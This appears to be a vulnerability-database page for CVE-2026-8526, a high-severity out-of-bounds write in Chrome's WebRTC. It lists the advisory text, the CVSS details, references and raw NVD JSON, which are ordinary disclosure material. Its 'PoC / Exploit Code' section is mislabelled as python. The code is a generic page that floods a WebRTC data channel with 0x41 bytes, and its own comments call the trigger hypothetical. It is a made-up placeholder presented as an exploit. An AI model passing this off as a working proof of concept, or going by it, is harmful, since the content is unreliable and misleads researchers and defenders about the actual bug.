CVE-2026-8526

Description

Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8526 -->
<!-- This HTML page attempts to trigger the WebRTC Out of Bounds Write -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-8526 PoC</title></head>
<body>
<script>
    // Create a PeerConnection to trigger WebRTC handling
    const pc = new RTCPeerConnection({
        iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
    });

    // Create a data channel to manipulate internal buffers
    const dc = pc.createDataChannel("exploit");

    // Attempt to trigger the vulnerability by sending crafted data
    // Note: Actual trigger depends on specific internal Chrome version logic
    setTimeout(() => {
        try {
            // Malformed payload simulation
            const buffer = new Uint8Array(0x1000);
            // Filling buffer with specific pattern to attempt overflow
            for(let i=0; i<0x1000; i++) buffer[i] = 0x41;
            
            // Send via data channel (Hypothetical trigger)
            dc.send(buffer);
            console.log("Payload sent");
        } catch(e) {
            console.log("Error: " + e);
        }
    }, 1000);
</script>
<p>CVE-2026-8526 PoC: Check console for crash.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8526
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8526
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8526/
[4] VulDB https://vuldb.com/cve/CVE-2026-8526
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/486536241

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8526", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.407", "lastModified": "2026-05-14T22:16:46.837", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in WebRTC in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/486536241", "source": "[email protected]"}]}}